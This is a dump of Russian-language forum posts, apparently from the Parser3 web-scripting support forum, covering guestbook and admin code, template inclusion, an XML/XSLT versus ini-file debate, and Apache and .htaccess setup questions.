            '${date.year}-${date.month}-${date.day}',\
            '$form:text'\
         )}\
      }\
      $response:location[http://127.0.0.3/company/index.html]\
   }{\
      <center>Поле автор обязательно для заполнения</center>\
   }\
}\
\
\
\
#количество записей на странице\
$onpage(5)\
\
#количество строк в таблице\
$cnt(^int:sql{select count(*) from gbook}) \
\
#номер текущей страницы\
$now_page(^form:now_page.int(0)) \
\
\
$messages[^table::sql{select * from gbook order by id desc limit $now_page,$onpage}]\
\
$i(0)\
|\
^while($i < $cnt){\
	^if($i eq $now_page){\
		<b>^eval(1 + $i)-^if(^eval($onpage + $i) > $cnt){^eval($cnt)}{^eval($onpage + $i)}</b>\
	}{\
		<a href=book.html?now_page=$i>^eval(1 + $i)-^if(^eval($onpage + $i) > $cnt){^eval($cnt)}{^eval($onpage + $i)}</a>\
	}\
|\
^i.inc($onpage)\
}\
\
<hr size=\"1\" color=\"#000000\">\
\
^if($messages){\
   ^messages.menu{\
      <table width=\"100%\" valign=\"TOP\">\
         <tr>\
         <td align=\"left\"><b>Автор:</b> $messages.author<br>\
           <b> E-mail:</b> ^if(def $messages.email){\
               $messages.email\
            }{\
               -\
            }\
         </td>\
         <td align=\"RIGHT\" valign=\"TOP\"><b>Дата:</b> $messages.date</td>\
         </tr>\
      </table>\
      <table width=\"100%\">\
      <tr>\
         <td>$messages.body</td>\
      </tr>\
      </table>\
   }[<hr size=\"1\" color=\"#000000\">]\
}{\
   Гостевая книга пуста.\
}\
\
<hr size=\"1\" color=\"#000000\">\
\
$i(0)\
|\
^while($i < $cnt){\
	^if($i eq $now_page){\
		<b>^eval(1 + $i)-^if(^eval($onpage + $i) > $cnt){^eval($cnt)}{^eval($onpage + $i)}</b>\
	}{\
		<a href=book.html?now_page=$i>^eval(1 + $i)-^if(^eval($onpage + $i) > $cnt){^eval($cnt)}{^eval($onpage + $i)}</a>\
	}\
|\
^i.inc($onpage)\
}\
}\
\
\
}\
[/code]"
"46561","девушка и все такое, однако поиск для всех полов работает одинаково."
"46562","Тут вообще-то надо объяснять в контексте всей моей системы, ну да попробую.\
\
Метод, которым я подключаю шаблоны (^include[path_to_template_file.tpl] - файтически это ^file::load[]), предназначен для подключения именно шаблонов - Парсер3 его обрабатывает несколько иначе чем подключаемые через ^use[] классы и операторы. В частности - не столь критично проверяет на синтаксис. Страницы у меня собираются долго, из разных мест. После сбора всей страницы (в строку) я могу еще по всякому обрабатывать её перед выводом. А вот ^use[] \"вылавливает\" в подключаемом файле только операторы и всключает их в пространство функций всей программы.\
\
Приведу пример верхней части шаблона сайта (сокращенный):\
[code]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
<html lang=\"ru\">\
<head>\
<title>OPENSEA.RU ::: Интернет&ndash^;витрина магазина ОТКРЫТОЕ МОРЕ</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html^; charset=$SITE_CHARSET\">\
<meta http-equiv=\"Content-Language\" content=\"ru\">\
<link href=\"/styles.css\" type=\"text/css\" rel=\"stylesheet\">\
</head>\
\
<body>\
<!-- No search start -->\
# Начало таблицы \"Рында, фирменный знак, черепаха, водолазики\"\
<div style=\"left: 11%^; position: absolute^; top: 0%\">\
..........\
###################################################################################################\
# Вывод левого интерактивного меню навигации\
^APPLICATION.GetMenuHtmlEx[left;true]\
..........\
<td vAlign=\"top\" width=\"100%\">\
<div class=\"content\">\
<!-- No search end -->\
....\
и т.д.\
[/code]\
\
В нем нет ни одного определения операторов, но есть вызовы этих операторов и методов класса. Если попытаться подключить этот шаблон при помощи ^use[], то он вообще ничего не включит в код :(Для этого мне пришлось бы весь шаблон озаглавить каким-либо оператором:\
[code]\
[color=\"#ff0000\"]@METHOD_VIEW_PAGE[][/color]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
<html lang=\"ru\">\
<head>\
<title>OPENSEA.RU ::: Интернет&ndash^;витрина магазина ОТКРЫТОЕ МОРЕ</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html^; charset=$SITE_CHARSET\">\
........\
[/code]\
\
А теперь представьте, что сам \"главный\" шаблон может включать в себя десяток других, подключаемых динамически, в зависимости от разных внешних условий (параметр запроса страницы, фаза луны в момент вызова и т.п.). И что? Опять ^use[] и \"динамические имена методов? Лучше бы я помер вчера :) Куда как проще использовать ^file::load[] или, что в общем-то тоже самое, ^include[].\
\
Мелкие приятности подобного подхода:\
- шаблоны может писать человек не знающий Парсер3 (если есть справочник по API системы)\
- проще бороться с логическими ошибками - все операторы вынесены из шаблонов и задание их там приводит к ошибке. Следствие: вы никогда не ошибетесь в логической части системы \"натягивая\" на ней новый скин\
- еще много всяких плюсов, но это уже надо предметно на примере системы разбирать.\
\
ЗЫ. Сейчас придет Михаил и отправит меня в Бабруйск, изучать XML/XSL :)"
"46563","Бьюсь с врагами третий день. \
\
Короче стоял у меня на локальном компе Apache 1.3, Parser 3.1.3 и MySQL 3.???.\
\
Тут пришлось переустановить Windows. Установил MySQL 4.1, Parser 3.1.4 и Apache 2.0.54, но с апачем уже не знаю что делать. Не могу настроить виртуальные хосты. Отказывается работать. Работает только 127.0.0.1 (localhost)\
\
В файле hosts Прописал 127.0.0.2 и т.д. в httpd прописал секции по вирт. хостам , ну в общем как и было раньше под апач 1.3 , но нифига не работают виртуальные хосты ...."
"46564","Ну я тоже не совсем ретроград и тоже \"за прогресс\". Но новые технологии это не всегда на все 100% благо. Как пример: XML/XSL. Плюсов - миллион, но минут тоже есть: использование XML требует большей можности (скорость/память) от оборудования хостинга. Делая проекты \"от кутюр\" и за настоящии деньги можно себе позволить пренебречь стоимостью требуемого хостинга - это копейки по сравнению со всеми затратами. Но попробуйте сделать CMS \"для народа\" на XML/XSL и предложите всем для её использования сменить хостинг на \"нормальный\" (дорогой). Народ может не понять :)\
\
И: \"стоимость владения\" любой системой определяется не в последнюю очередь затратами на обслуживающий персонал. Ну представьте себе маленькую розничную точку с собственным интернет сайтом-визиткой, управляемой главным бухгалтером (по совместительству он же и секретарь и продавец!) через Имприматур, в которой работают технические специалисты класса \"Студии А.Л.\" - точке не потянуть будет и месяца :) А вот CMS с ini файлами может явиться нормальным и не дорогим решением для подобного предприятия, ведь в наше время ini файлы может прописывать и приходящий сантехник Василий П. :)\
\
А вообще это спор Маркетолога и Инженера :) Став на точку зрения Инженера, я полностью соглашусь с твоей позицией, Михаил. Конечно передовые технологии лучше устаревших. Конечно бред с файлами формата ini это бред :) Но! Попробуй и ты взглянуть на все глазами Маркетолога. Наверное не все что я говорю есть ересь :)\
\
Ну вот так примерно..."
"46569","В парсере символ ; является разделителем при передаче параметров методу. В вашем случае это метод ^if(...){...}\
\
Если нужно использовать в тексте точку с запятой — ее нужно экранировать: ^; (в вашем случае: [b]&nbsp^;[/b])\
\
Это все есть в документации :)"
"46570","[quote]ответить на вопрос «из какого узла XML и каким шаблоном был создан данный узел в result tree»[/quote]\
\
Может в Stylus’е это реализовано как-то иначе/красивее, в XML spy, делая шаги, можно смотреть стэк вызовов, какой элемент, из какого файла (если идут включения, импорты и т.д.) был вызван.\
Если этот вызов выбрать, то курсоры выставляются в используемых при отладке файлах в положение исходных данных (в xml) и шаблона в xsl.\
\
http://www.altova.com/features_xslt.html"
"46574","представьте себе XSL на пару сотен килобайт.\
step-step там делать в ожидании появления вражеского результата — убиться.\
\
Stylus умеет [b]после[/b] выполнения преобразования отвечать на вопросы про результат.\
\
\
к чему пишу-то: если кто что ещё полезного найдёт, просьба не скрывать! ;)"
"46575","Месяц назад я полностью перешел на XML и теперь безумно счастлив.\
\
Последний раз я такое испытывал когда начал использовать Парсер.\
\
Это просто суппер! Жить стало проще.\
\
Могу посоветовать статью которая частично повлияла на мой выбор:\
[url=\"http://www.citforum.ru/internet/xml/xsl_preobrazovaniy/\"]http://www.citforum.ru/internet/xml/xsl_preobrazovaniy/[/url]\
\
Основной фактор, который заставил меня использовать XML -- это XML/XSL идеология Мишиного движка."
"46576","или поищите решение проблемы на форуме Денвера."
"46577","Можно включить нумерацию строк при желании.\
Подсветка синтаксиса для разных видов скриптов (автодетект по расширению).\
Поддерживает проекты (удобно всю папку classes туда закинуть).\
Между файлами переключаешься закладками.\
Табуляция прикольная. :)\
\
И еще много чего. Навороченная штука."
"46578","Долгое время писал монстроузорную констукцию вида:\
\
[code]\
^if($request:uri eq \"/\"){\
	<b>Главная</b>\
}{\
	Главная\
}\
[/code]\
\
Очень неудобно при более сложных примерах: напрягает необходимость писать одну и ту же строчку («Главная»)...\
И вот написал метод :)\
\
[code]\
@canvas[where;begin;body;end]\
^if($where){\
	$result[${begin}${body}${end}]\
}{\
	$result[$body]\
}\
# end @canvas[]\
[/code]\
\
Пример использования:\
\
[code]\
^canvas($request:uri eq \"/\")[<b>]{\
	Главная\
}[</b>]\
[/code]"
"46579","Приходится работать на очень медленной машине, поэтому выбираю очень легкий и быстрый редактор, без всяких там умных анализаторов помошников и вставок.\
\
\
- Есть подСветка html-тегов и атрибутов.\
- Можно создать свою схему подсветки (например для Парсерного кода)\
- Строки нумеруются.\
- Работает чуть медленнее блокнота (да, на моей машине это можно заметить)."
"46581","Может я по аналогии найду."
"46582","отделяет <b> от </b>. Смысл проблемы тот же, что и при использовании js document.write() в XHTML.\
\
С точки зрения теории вернее все же писать как-то так:\
\
[code]\
$label[Главная]\
^if( ^test[] ){\
	<b>$label</b>\
}{\
	$label\
}\
[/code]\
\
И то, в случае \"to <b> or not to <b>\" это большого смысла не имеет: гораздо симпатичнее сделать span и рулить отображением с помощью CSS. Проблема приходит в случае наличия гиперссылки:\
\
[code]\
# Вариант 1\
$label[Главная]\
^if( ^test[] ){\
	<a href=\"/\">$label</a>\
}{\
	$label\
}\
[/code]\
\
но это опять же можно трансформировать в\
\
[code]\
# Вариант 2\
<a\
	^if( ^test[] ){href=\"/\"}\
>\
	Главная\
</a>\
[/code]\
\
Мне больше импонирует вариант один -- a без @href мне не нравится на инстинктивном уровне.\
\
Резюме: в данном случае нужно абстрагироваться от тэгов и оперировать целыми блоками. Ну и не бояться много раз писать \"Главная\", но делать это исключительно через переменную (параметр) и исключительно в рамках одного метода.\
\
Удачи"
"46583","все равно его на помойку давно пора. гыыы :)"
"46584","прогрессивные люди пользуются плодами прогресса (пардон за каламбур), не прогрессивные делают все по старинке, таская за собой ворох неразрешенных проблем :-)"
"46585","http://www.bitrixsoft.ru/support/forum/read.php?FID=6&TID=809 - мнение лидера рынка CMS в России.\
\
До подобного добрались уже, за месяц-то?\
\
[code]\
Небольшой пример из XSLT шаблона на 100к: \
\
<xsl:for-each select=\"/Bitrix/OfferList/rs:data/z:row\"> \
<ПакетПредложений> \
<xsl:if test=\"$EXTENDED='Y'\"> \
<xsl:attribute name=\"ID\"><xsl:value-of select=\"@ID\"/></xsl:attribute> \
</xsl:if> \
<xsl:if test=\"not(@NEW_INFO) or @NEW_INFO='Y'\"> \
<xsl:attribute name=\"ИдентификаторКаталога\"><xsl:value-of select=\"@CATALOG_XML_ID\"/></xsl:attribute> \
<xsl:attribute name=\"Владелец\"><xsl:value-of select=\"@XML_ID\"/></xsl:attribute> \
<xsl:if test=\"@DATE_START\"> \
<xsl:attribute name=\"ДействительноС\"><xsl:value-of select=\"substring-before(@DATE_START, 'T')\"/></xsl:attribute> \
</xsl:if> \
<xsl:if test=\"@DATE_END\"> \
<xsl:attribute name=\"ДействительноДо\"><xsl:value-of select=\"substring-before(@DATE_END, 'T')\"/></xsl:attribute> \
</xsl:if> \
<xsl:attribute name=\"Описание\"><xsl:value-of select=\"@DESCRIPTION\"/></xsl:attribute> \
<xsl:attribute name=\"Валюта\"><xsl:value-of select=\"@CURRENCY\"/></xsl:attribute> \
<xsl:if test=\"$EXTENDED='Y'\"> \
<xsl:attribute name=\"DESCRIPTION_TYPE\"><xsl:value-of select=\"@DESCRIPTION_TYPE\"/></xsl:attribute> \
<xsl:attribute name=\"SORT\"><xsl:value-of select=\"@SORT\"/></xsl:attribute> \
<xsl:attribute name=\"NAME\"><xsl:value-of select=\"@NAME\"/></xsl:attribute> \
<xsl:attribute name=\"VISIBLE\"><xsl:value-of select=\"@VISIBLE\"/></xsl:attribute> \
<xsl:attribute name=\"OFFER_LIST_PRICE_TYPE\"><xsl:value-of select=\"@PRICE_TYPE\"/></xsl:attribute> \
</xsl:if> \
</xsl:if> \
<xsl:variable name=\"OLID\" select=\"@ID\"/> \
<xsl:for-each select=\"key('o', $OLID)\"> \
<Предложение> \
<xsl:if test=\"$EXTENDED='Y'\"> \
<xsl:attribute name=\"ID\"><xsl:value-of select=\"@ID\"/></xsl:attribute> \
</xsl:if> \
<xsl:if test=\"not(@NEW_INFO) or @NEW_INFO='Y'\"> \
<xsl:attribute name=\"ИдентификаторТовара\"><xsl:value-of select=\"@PRODUCT_XML_ID\"/></xsl:attribute> \
<xsl:attribute name=\"Цена\"><xsl:value-of select=\"@PRICE\"/></xsl:attribute> \
<xsl:attribute name=\"НормаУпаковки\"><xsl:value-of select=\"@RATIO\"/></xsl:attribute> \
<xsl:attribute name=\"Количество\"><xsl:value-of select=\"@AMOUNT\"/></xsl:attribute> \
<xsl:attribute name=\"Единица\"><xsl:value-of select=\"@UNIT\"/></xsl:attribute> \
<xsl:attribute name=\"Валюта\"><xsl:value-of select=\"@CURRENCY\"/></xsl:attribute> \
<xsl:variable name=\"OFID\" select=\"@ID\"/> \
<xsl:for-each select=\"key('opv', $OFID)\"> \
<ЗначениеСвойства> \
<xsl:attribute name=\"ИдентификаторКаталога\"><xsl:value-of select=\"@CATALOG_XML_ID\"/></xsl:attribute> \
<xsl:attribute name=\"ИдентификаторСвойства\"><xsl:value-of select=\"@XML_ID\"/></xsl:attribute> \
<xsl:attribute name=\"Значение\"><xsl:value-of select=\"@PROPERTY_VALUE\"/></xsl:attribute> \
</ЗначениеСвойства> \
</xsl:for-each> \
</xsl:if> \
</Предложение> \
</xsl:for-each> \
<xsl:if test=\"not(@NEW_INFO) or @NEW_INFO='Y'\"> \
<xsl:if test=\"not($EXTENDED) or $EXTENDED != 'Y'\"> \
<ЗначениеСвойства> \
<xsl:attribute name=\"ИдентификаторКаталога\"><xsl:value-of select=\"@CATALOG_XML_ID\"/></xsl:attribute> \
<xsl:attribute name=\"ИдентификаторСвойства\">OFFER_LIST_PRICE_TYPE</xsl:attribute> \
<xsl:attribute name=\"Значение\"><xsl:value-of select=\"@PRICE_TYPE\"/></xsl:attribute> \
</ЗначениеСвойства> \
</xsl:if> \
<xsl:for-each select=\"/Bitrix/OfferListRefPropertyValue/rs:data/z:row[@OFFER_LIST_ID=$OLID]\"> \
<ЗначениеСвойства> \
<xsl:attribute name=\"ИдентификаторКаталога\"><xsl:value-of select=\"@CATALOG_XML_ID\"/></xsl:attribute> \
<xsl:attribute name=\"ИдентификаторСвойства\"><xsl:value-of select=\"@XML_ID\"/></xsl:attribute> \
<xsl:attribute name=\"Значение\"><xsl:value-of select=\"@PROPERTY_VALUE\"/></xsl:attribute> \
</ЗначениеСвойства> \
</xsl:for-each> \
</xsl:if> \
</ПакетПредложений> \
</xsl:for-each> \
...\
[/code]\
"
"46586","Приведите пожалуйста список возможных проблем, которые могут возникнуть у пользователя, при использовании ini файлов в качестве конфигурационных."
"46587","Самые очевидные\
\
- это ([\\w]*). Т.е. не \\w в значении быть не может,\
- меньшая гибкость\
- меньшее user friendly (вряд ли сложные вещи можно безопасно править руками).\
\
Если подумать, наверняка еще что-нибудь в голову придет.\
\
XML появился не для удовлетворения амбиций модников, а как некий инструмент, призванный решить накопившиеся проблемы, именно так его и нужно воспринимать. Можно, конечно, придумать свой собственный альтернативный путь, но для чего? (вопрос риторический :-)\
\
В общем, на мой взгляд, все достаточно очевидно."
"46588","Во-первых кто объявил создателей [i]этого[/i] лидерами рынка CMS в России?? Во-вторых, наличие громкого титула еще не подтверждает адекватности персонала, даже в проф. вопросах (я не к тому, что компания плохая, а к тому, что их титул большой роли в рассуждениях не играет), в-третьих, 100К XSL получились скорее всего от неграмотности, смею Вас заверить.\
\
Ну и потом, технология не несет ответственности за тех, кто ее использует :-) Я вот сейчас сяди и напишу что-нибудь на C++, а понимающий чел на это посмотрит и угадайте что скажет: я хреновый программер или C++ -- хреновый язык программирования? :)"
"46589","[quot]Если подумать, наверняка еще что-нибудь в голову придет...[/quot] :)\
\
Проблем пользователя я так и не увидел в вашей пылкой речи :( Ну разве что:\
[quot]- это ([\\w]*). Т.е. не \\w в значении быть не может,[/quot]\
 но и то - это проблемма программиста."
"46590","приведенный кусок xsl-я решает задачу преобраззовать один xml в другой. т.е. это совершенно не показательный пример. может там один деятель написал такой изначальный xml что для того чтобы с ним потом можно было нормально работать потребовалась дополнительная трансформация.\
\
[quot]\
1. Иллюзия простоты XSLT шаблонов. \
Проекты на XML+XSLT очень тяжело поддерживать клиентам. Специалистов по XSLT очень мало, технологичный шаблон может подправить только специалист очень высокой квалификации. Таким образом, развеялась иллюзия, о простоте для клиентов и удобстве в управлении.\
[/quot]\
\
дата написания этого текста - 2003 год. сейчас их уже больше, и их количество растет в силу того что это достаточно удобный для своих задач инструмент. что касается поддержки клиентом - так это решается другими средствами: wysiwyg редакторами, которые выдают xml, который в свою очередь хранится в БД :)\
\
[quot]\
2. Иллюзия управляемости и гибкости. \
Шаблонов XSLT в большинстве своем недостаточно для написания серьезной бизнес логики в публичной части сайта. XSLT не дорос до полноценного языка программирования.\
[/quot]\
\
звиняйте, но тут вам никто не предлагал переносить логику работы в xsl. если логику оставить парсеру (в нашем случае), то xml получается маленький. (да, он все равно будет сильно проигрывать по скорости прямой генерации html-я).\
\
[quot]\
4. Иллюзия удобства абстрагирования данных и внешнего вида. \
Один из плюсов, за которым все гонятся, используя технологии XML+XSLT - добиться качественно абстракции внешнего вида. Но только уже после создания первых шаблонов все понимают, что абстракция получилась, только никому она уже больше не нужна. Шаблон XSLT очень сложен для представления внешнего вида.\
[/quot]\
\
см. ответ V12. это особенность конкретной реализации шаблонов. к слову скажу что тот xml что выдает imp1 для основных элементов сайта остается одинаковым (с незначительными изменениями) почти с самого начала.\
\
[quot]\
Полная смена дизайна требует полного переписывания всех шаблонов\
[/quot]\
\
ну... а в других системах не надо ничего переделывать? :)\
тут-же нужно переделывать [b]только[/b] шаблоны (если не меняется логика)ю\
\
ну и если дочитать до конца, то:\
[quot]\
...\
Значит ли это, что надо вообще отказаться от XML? Конечно нет.\
...\
Можно ли добиться абстрагирования продукта от дизайна и бизнес-логики? Конечно, возможно.\
...\
Можно ли увеличить производительность и сохранить динамический контент? Конечно можно.\
...\
[/quot]\
\
основная мысль:\
xml - достаточно удобный, текстовый формат для хранения и обмена данными. не вижу смысла использовать много разных форматов, если они не дают [b]значительных[/b] преимуществ. \
\
да, кстати... если уж важна скорость, то написать regexp который разберет одноуровневый xml - не сложнее чем написать оный для разбора ini файликов."
"46591","...то место где я могу прикупить шаблончиков xml/xsl для своего нового сайта? Где купить шаблоны в html я знаю ( http://www.templatemonster.com/ ), а есть-ли уже такие места где можно свободно выбрать \"современных\" решений в области дизайна? Или мне для каждого сайта дизайнера нанимать? 8-О"
"46592","Я не имел ввиду, что я изучил XML/XSL за месяц. Читать документации и работать с примерами я начал где-то год назад. Я хотел сказать что уже месяц как мой движек работает с использованием XML и я никак не могу этому нарадоваться.\
\
Вы привели ссылку на форум поддержки CMS Bitrix.\
Прочитав я остался при своем мнении. Со многим не согласен. Там Sergey Rizhikov просто раскручивает свой Bitrix.\
\
Вот например:\
\
1. Сергей Рыжиков: \"[i]Проекты на XML+XSLT очень тяжело поддерживать клиентам[/i]\". \
Наверное автор считает, что проект на XML+XSLT это набор XML- и XSLT-файлов. И после сдачи проета, клиент сам лезит в эти файлы и что-то там меняет.\
\
2. Сергей Рыжиков: \"[i]Шаблонов XSLT в большинстве своем недостаточно для написания серьезной бизнес логики в публичной части сайта. XSLT не дорос до полноценного языка программирования, на нем можно делать только простые условные представления и очень урезанную логику. Нет возможности использовать все возможности современных языков программирования и библиотек[/i]\".\
Это просто бред какой-то. XSLT не является языком программирования! Он просто берет одно дерево (xml) и трансформирует его в другое дерево (например html). И ему для этого не нужно быть полноценным языком программирования, т.к. подразумевается что вся сложная логика реализована при формировании исходного дерева (xml).\
\
3. Сергей Рыжиков: \"[i]Шаблон XSLT очень сложен для представления внешнего вида. Корректива его требует много сил. Полная смена дизайна требует полного переписывания всех шаблонов, что в расчете на сложность создания XSLT получается еще дороже.[/i]\".\
\
Естественно, ПОЛНАЯ смена дизайна требует переписования шаблонов. Можно подумать, что Bitrix делает это самостоятельно.\
\
###########################################################\
\
XML+XSL != зло"
"46593","э-э-э... а на http://www.templatemonster.com/ вы прямо с парсерным кодом все скачиваете? или все-таки берете html шаблоны и из них делаете свои парсерные шаблоны?\
\
в случае с xsl вы будете делать почти то-же самое, только будете xsl шаблоны, которые из вашего xml будут выдавать тот html, который вы взяли где-то. по сути это то-же самое. а парсерный код у вас всегда будет нести одну и ту-же логику и выдавать один и тот-же xml для всех проектов (ну... с учетом специфики логики сайтов).\
\
P.S. похоже можно завязывать, спор пошел ни о чем."
"46594","Ну если отсутствие масштабируемости тешения для Вас не причина, разговор смысла не имеет.\
\
Удачи."
"46595","[quot]э-э-э... а на http://www.templatemonster.com/ вы прямо с парсерным кодом все скачиваете? или все-таки берете html шаблоны и из них делаете свои парсерные шаблоны?[/quot]\
\
Я не меняю шаблоны - я всего лишь встраиваю в них операторы:\
[code]\
<title>This Site's Title</title>\
\
 --> \
\
<title>^GetTitlePage[]</title>\
[/code]\
\
В общем - нет пока в сети мест, где можно было бы прикупить xml/xsl шаблонов. Странно, наверное нет спроса потому и не предлагают. И с чего бы это? :)"
"46596","[quot]в-третьих, 100К XSL получились скорее всего от неграмотности, смею Вас заверить.[/quot]\
\
http://www.parser.ru/forum/?id=46574 - (PAF):\
[quot]представьте себе XSL на пару сотен килобайт.[/quot]"
"46597","Для начала, Александр не является экспертом в области XSL. Во-вторых я нигде не увидел слов о том, что 100 кило XSL -- это хорошо."
"46598","Ладно."
"46599","Пытаюсь понять как парсер обрабатывает xml и пока не сильно дается.\
[code]\
#немного измененый вариант того что написано в документации #http://www.parser.ru/docs/lang/xnodeselectsingle.htm\
$d[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<document>\
    <t>value1</t>\
    <t>value2</t>\
</document>}]\
# результат=список из двух элементов \"t\"\
$list[^d.select[/document/t]]\
# перебираем найденные листы:\
#   этот код будет работать\
#   даже если запрос не найдет ни одного листа \
^for[i](0;$list-1){\
    $node[$list.$i]\
    Имя: $node.nodeName<br>\
    Тип: $node.nodeType<br>\
}\
[/code]\
основная проблема в том, что я не могу понять, как вытащить cодержание элементов. $node.nodeValue в данном случае не работает, а ^d.selectString[string(/document/t)] выбирает только первое значение. \
Или может я вообще все не так понял?\
\
А может есть другой вариант как из одного xml взять часть и сохранить ее в другой xml?"
"46602","(см. [url=\"http://www.parser.ru/links/\"]полезные ссылки[/url])"
"46605","все что известно о xml - о нем написано в полезных ссылках..."
"46606","Все дело было в Windows XP Pro SP2. Пропатчил указанной заплаткой и без проблем установил Apache 2.0.54, MySQL 4.1.15 и Parser 3.1.4\
\
Все локальные хосты работают.\
\
Спасибо."
"46607","Входит в KDE (Linux).\
[url=\"http://www.parser.ru/forum/?id=39654\"]Подсветка парсерного кода[/url]"
"46608","Подскажите, где можно скачать файл .htaccess?"
"46610","А Миша меня правильно поймет. Мы друг друг поняли?"
"46611","Ну если это:\
[quot]\
все равно его на помойку давно пора\
[/quot]\
Было сказано в адрес lib.p — тогда да... Впрочем это все равно грубость. :))"
"46612","я говорю о вполне объективных вещах. Александр отличный программист, респект тебе, Paf, но не тот человек, которого я бы стал спрашивать про XSL. вот и все."
"46613","Попробуйте еще раз, надеюсь у вас получиться выступить по существу :)"
"46614","что вы не знаете где купить шаблон? :-) Улыбнуло :-)"
"46615","[quot]Странно, наверное нет спроса потому и не предлагают. И с чего бы это? :)[/quot]\
\
С того что все сами пишут :))"
"46616","Никита, дело в том, что у нас с Михаилом есть сложившийся язык общения. И мои слова, которые кажутся грубыми вам, у него вызовут лишь улыбку. Так что в данном случае он (Миша) в защите не нуждается, уж поверьте мне :)"
"46619","не могу найти в разделе скачать такой фаил"
"46621","Часто на хостинге сталкиваюсь с такой проблемой:\
превышается число допустимых (10) соединений с бд.\
Это бывает когда на сервере тормоза и скрипты долго выполняются.\
Плюс ко всему я не исключаю, что на некоторых страницах используется больше 1 соединения с бд - что совсем не нужно. Если сайт большой и содержит большое кол-во функций и классов, то на одной странице вполне может получится больше 1 соединения и отследить это будет сложно.\
\
Хочу задать вопрос:\
если прописать connect в @main[] - не повлечет ли это каких-то негативных последствий?"
"46622","Посмотрите в примерах «Класс о переносимости SQL-запросов», очень удобно.\
\
Можно все делать в одном коннекте, это даже лучше."
"46623","В левой колонке написано вот это, и ни слова про .htaccess?!\
\
\"Cкомпилированые версии могут читать и исполнять только файлы, принадлежащие группе пользователей, от которой работает Parser. Это сделано для большей безопасности.\
\
Если версия для вашей платформы отсутствует, можно заглянуть в раздел «Прислали пользователи», или собрать парсер из исходных кодов самому. См. раздел «Сборка Parser из исходных кодов» в документации. \
\
Вниманию пользователей Parser2: запущен проект Миграция с Parser2 на Parser3. \""
"46624","Спасибо, прочитал в примерах.\
Практически все о чем перечисленно в примере я испытал на своем горьком опыте."
"46625","http://www.parser.ru/download/win32/"
"46626","???"
"46628","[quot]\
Apache (CGI)\
\
Положите файл parser3.exe в каталог cgi-bin на вашем сайте.\
\
[b]Создайте в корневом каталоге вашего сайта файл .htaccess[/b] и добавьте в него следующие команды:\
...\
[/quot]"
"46631","[code]\
@main[]\
^connect{ ... }\
^connect{ ... }\
[/code]\
\
в приведенном примере содинение с сервером получится всего одно. Выход теоретический: сказать хостингу что вас не устраивает такое положение вещей. Вывод практический: кэшировать как можно больше :-)\
\
Удачи"
"46632","А если одновременно на сайте десяток пользователей? А 100?\
\
Кэшировать запросы к базе... А вот тут как раз, вероятно, очень уместно xml с последующим xslt из исходного \"базного\" xml в \"парсерный\" xml. имхо."
"46633","HomeSite 5.5 [url=\"http://www.macromedia.com/\"]www.macromedia.com[/url] лучшее что есть под Windows"
"46634","[quot]А если одновременно на сайте десяток пользователей? А 100?[/quot]\
\
Кэшировать нужно поток данных от HTTP сервера к пользователю, т.е. HTML документ. Дальше сами.\
\
[code]А вот тут как раз, вероятно, очень уместно xml с последующим xslt из исходного \"базного\" xml в \"парсерный\" xml[/code]\
\
\"Папа, а ты с кем сейчас разговаривал?\" :-)"
"46635","ниасилил :)"
"46636","что-то не могу сделать вывод каждого атрибута, имени узла и значения примерно такого XML:\
[code]<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<p>\
<sg g=\"a\" date=\"0\">tr1</sg>\
<sg g=\"b\" date=\"1\">tr2</sg>\
<sg g=\"c\" date=\"2\">tr3</sg>\
</p>[/code]\
подскажите, если кто знает..."
"46637","это пока все к чему я пришел, но работает. \
Может есть более правильный вариант..."
"46641","Только заметил что теперь тэги расставлять можно кликая на них. [b]Супер[/b]. Очень удобно"
"46642","Дошел до 4 стадии описанной в документации - с бубном вокруг компа. подскажите - где ошибка?\
Задача кода:\
В админке создается таблица, из базы данных загружаются в нее значения - объявления.\
Цель - редактирование таблицы, а именно - удаление строки (объявления) из таблицы. - через кнопку делейт слева каждой строки. у каждой строки есть свой уникальный place_uuid который в БД - соответствует объявлению. Этот place_uuid присвоен чекбоксу - слева от каждой строки.\
Операция: если place_uuid присвоенный чекбоксу в качестве имени и выборка place_uuid из БД совпадает, то удаляется строка, содержащяя этот place_uuid. Код отказывается работать. Хотелось бы узнать почему....\
Если я сделал все так:\
[code]$по-русски[через_задницу]\
^$по-русски = $по-русски[/code]\
, то подскажите как сделать это по-нормальному.\
Се представляю вам код:\
\
\
[code]\
@body_main[]\
^connect[$connect_string]{ \
$car_show[^table::sql{select place_uuid, image_uri, charact, options, price from ^choseMe[]}]}\
<div align=\"center\"><strong>Редактирование категории ^auto_type[] автомобиля</strong><br></div>\
<form method=\"post\" enctype=\"multipart/form-data\">\
### сама таблица с данными\
<table width=\"100%\" border=\"1\" bordercolor=\"black\" cellspacing=\"0\" cellpadding=\"0\">\
	<tr>\
		<td>&nbsp;</td>\
		<td>&nbsp;</td>\
		<td align=\"center\"><strong>Описание</strong></td>\
		<td align=\"center\"><strong>Особенности</strong></td>\
		<td align=\"center\"><strong>Цена</strong></td>\
		<td>&nbsp;</td>\
	</tr>\
	^car_show.menu{\
	<tr align=\"center\">\
### злополучный чекбокс	\
        <td><input type=\"checkbox\" name=\"$d\"></td>\
	<td align=\"center\" valign=\"middle\"><img src=\"^file:find[$car_show.image_uri]{/images/nocar.gif}\" border=\"0\"></img></td>\
	<td align=\"left\" valign=\"middle\">$car_show.charact</td>\
	<td align=\"left\" valign=\"middle\">^untaint[as-is]{$car_show.options}</td>\
	<td align=\"center\" width=\"5%\" valign=\"middle\"><strong>$car_show.price</strong></td>\
### не менее злополучный сабмит	\
        <td><input type=\"submit\" value=\"Удалить\"></td>\
	</tr>}\
</table>\
</form>\
### процессинг\
$d{$car_show.place_uuid}\
^connect[$connect_string]{\
^if(def $form:$d){\
	^void:sql{\
		delete from \
			^choseMe[] \
		where \
			convert(place_uuid using utf8) = '$form:$d'\
			limit 1\
}\
$response:refresh[$.value(0)] <script language=\"JavaScript\" type=\"text/JavaScript\"> alert(\"Объявление успешно удалено.\")</script>\
}{<script language=\"JavaScript\" type=\"text/JavaScript\"> alert(\"...k you!\")</script>}\
}\
\
@auto_type[]\
^if(^choseMe[] eq iheavy){импортного грузового}\
^if(^choseMe[] eq ilite){импортного легкового}\
^if(^choseMe[] eq rheavy){отечественного грузового}\
